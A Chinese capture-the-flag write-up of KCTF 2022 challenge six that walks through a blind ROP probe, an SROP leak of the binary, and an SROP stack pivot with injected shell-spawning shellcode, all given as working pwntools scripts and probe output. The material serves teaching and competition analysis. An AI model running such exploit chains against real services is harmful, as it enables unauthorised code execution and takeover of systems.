出题团队简介
赛题设计思路
设计思路
解题思路
赛题解析
本赛题解析由看雪论坛学者 mb_mgodlfyn 给出:
一
概述
能够完成 BROP 的前提是程序的内存地址在崩溃重连之后不发生改变,因为需要不断探测不同地址的 gadget 行为,依赖探测结果的稳定性。
二
试探
如果输入很长,则连接断开,远程无第二句输出。
-
从连接读到一些数据:通常意味着程序正常执行,"normal"
-
连接断开:本地读取时发生EOF,通常意味着远程程序崩溃退出,"crash"
-
连接无响应:本地读取时一直处于等待状态,通常意味着远程程序阻塞在某个状态,"stop"
from pwn import *
context.log_level = "critical"
def probe(v, want=b"TNT TNT!"):
s = None
try:
s = remote(ip, port)
s.recvuntil(b"hacker, TNT!n")
s.send(v)
r = s.recv(timeout=3)
if (want is not None and want in r) or (want is None and len(r)>0):
return "normal"
else:
return "stop"
except EOFError:
return "crash"
finally:
if s:
s.close()
return None
栈上的原始值
def test(prefix):
for i in range(256):
t = prefix + bytes([i])
c = probe(t, None)
if c != "crash":
print(hex(i), c)
test(b"a"*16)
0xb0 normal
0xb5 stop
0xb6 stop
0xb8 stop
0xc2 stop
0xc7 stop
0xc9 stop
0xce normal
0xec stop
0xed stop
0xee stop
0xef stop
0xf2 stop
0xf3 stop
test(b"a"*16 + b"xce")
0x0 normal
test(b"a"*16 + b"xcex00")
0x40 normal
0x60 normal
在 Linux x64 上编译出的 非PIE(Position Independent Executables)程序(gcc -no-pie 选项编译,得到的程序的代码段和数据段的内存地址不会随机化。Linux上的PIE等价于Windows上的DYNAMICBASE),其代码段的基地址通常是 0x400000,数据段的基地址通常是 0x600000。因此,凭借这两个使程序正常执行的溢出值,可以猜测远程是64位程序,没有开启PIE。
probe(b"a"*16 + p64(0x4000ce))
probe(b"a"*16 + p64(0x4000ce)[:7]+b"x01")
寻找ret指令
def findret(prefix):
for i in range(256*256):
t = prefix + p64(0x400000 + i) + p64(0x4000ce)
c = probe(t, b"TNT TNT!n")
if c == "normal":
print(hex(i), c)
findret(b"a"*16)
0xce normal
0x101 normal
0x106 normal
现在有两个地址:0x400101 和 0x400106,可以断定的是 0x400106 一定指向 ret 指令,而 0x400101 不确定(因为如果一个地址指向指令序列 xxx ; ret,只要xxx指令不修改栈指针rsp,也会产生同样的效果,但后面一定还会出现另一个更大的地址;这里 0x400106是最大的地址,因此它一定是直接指向 ret 的)。
推测程序的结构
可执行的ELF程序至少要包含一个 ELF Header 和一个 PT_LOAD 类型的 Program Header 才能被内核加载。根据先前的探测,0x600000也是此程序一个合法的段,因此这个程序至少有两个 Program Header,分别对应 0x400000 和 0x600000 的加载地址。
最后一个ret指令出现的位置在0x400106,则程序代码段的总大小估计是 0x400106+1-0x4000b0 = 87 字节。能做到如此短小的代码 + 只有两个PT_LOAD的 Program Header,此程序一定不是通常由 gcc 编译出来的高级语言可执行文件,而大概率是由汇编直接编写的。
推测代码段的结构
0x4000b0:
<do write "hacker, TNT!n">
call overflow
0x4000ce:
<do write "TNT TNT!n">
overflow:
<do read>
0x400106:
ret
寻找syscall指令
三
泄漏
虽然没有 pop rax ; ret 之类的指令,不过注意到 read 的返回值保存在 rax 寄存器中,是输入的长度,这是可控的。
关于 <do read> 的地址:需要一次调用read的机会,客户端发送恰好15个字符以控制rax的值,同时保证 rop 链可以走向下一步。参照推测出的代码段结构,最好的选择就是跳转到 overflow: 标签的位置(0x4000c9 call overflow的位置不行,因为多了一个call,无法走向 rop 链的下一步)。这个位置可以参照探测出来的stop gadget,从[0xec, 0xed, 0xee, 0xef]中选择,经测试在这里选择0xec、0xee、0xef都能成功。为了防止粘包,在两次输入之间添加了sleep。
from pwn import *
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
ip = <>
port = <>
s = remote(ip, port)
s.recvuntil(b"hacker, TNT!n")
s.send(b'a'*16 + p64(0x4000ee) + p64(0x4000c7) + bytes(sigframe))
sleep(1)
s.send(b'a'*15)
r = s.recv()
assert r.startswith(b"x7fELF")
with open("tnt", "wb") as f:
f.write(r)
s.close()
真相是做到这一步卡了一段时间才突然想起来 SROP 这种很少使用的利用方式……前面的分析过程规避了风险,但也消耗了时间。
四
利用
tnt: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: b8 01 00 00 00 mov eax,0x1
4000b5: 48 89 c7 mov rdi,rax
4000b8: 48 be 08 01 60 00 00 movabs rsi,0x600108
4000bf: 00 00 00
4000c2: ba 0d 00 00 00 mov edx,0xd
4000c7: 0f 05 syscall
4000c9: e8 20 00 00 00 call 4000ee <TNT66666>
4000ce: b8 01 00 00 00 mov eax,0x1
4000d3: 48 89 c7 mov rdi,rax
4000d6: 48 be 15 01 60 00 00 movabs rsi,0x600115
4000dd: 00 00 00
4000e0: ba 09 00 00 00 mov edx,0x9
4000e5: 0f 05 syscall
4000e7: b8 3c 00 00 00 mov eax,0x3c
4000ec: 0f 05 syscall
00000000004000ee <TNT66666>:
4000ee: 48 83 ec 10 sub rsp,0x10
4000f2: 48 31 c0 xor rax,rax
4000f5: ba 00 04 00 00 mov edx,0x400
4000fa: 48 89 e6 mov rsi,rsp
4000fd: 48 89 c7 mov rdi,rax
400100: 0f 05 syscall
400102: 48 83 c4 10 add rsp,0x10
400106: c3 ret
-
第一次溢出时布置一次 SROP,其中SigreturnFrame里只需要把 rsp 设置为这个segment里的地址(如0x600800),同时把 rip 设置为 <do read> 的地址(即0x4000ee)。把这一次的返回地址也覆盖为 <do read> 的地址0x4000ee,然后栈上的下一个位置覆盖为syscall指令的地址(如0x400100)。
-
第一次ret之后会重新执行read,输入15个字符凑出sigreturn的系统调用号,则这次ret后会用构造的SigreturnFrame执行syscall sigreturn。执行之后,rsp变为了 0x600800,然后控制流再一次转到了 0x4000ee 并等待第三次输入。
-
溢出,输入shellcode并覆盖返回地址为对应的位置,成功getshell
from pwn import *
context.arch = "amd64"
context.terminal = ["tmux", "split", "-h"]
ip = <>
port = <>
#s = process("./tnt")
s = remote(ip, port)
#attach(s)
s.recvuntil(b"hacker, TNT!n")
sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800
s.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))
sleep(1)
s.send(b'a'*15)
sleep(1)
s.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh()))
s.interactive()
五
其他
原因是程序的 Program Header 缺少一个类型为 GNU_STACK 的段。Linux内核会根据这个段决定程序的数据段是否可执行(即NX保护是否开启。在Windows上相应的保护机制称为DEP)。如果这个段指定了可执行权限或者缺少此段,则内核会添加 READ_IMPLIES_EXEC 的 personality,这会让所有带有 PROT_READ 选项的 mmap 系统调用建立的内存映射自动带有可执行权限。
六
总结
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/
第七题《一触即发》正在进行中
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):看雪2022 KCTF 春季赛 | 第六题设计思路及解析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论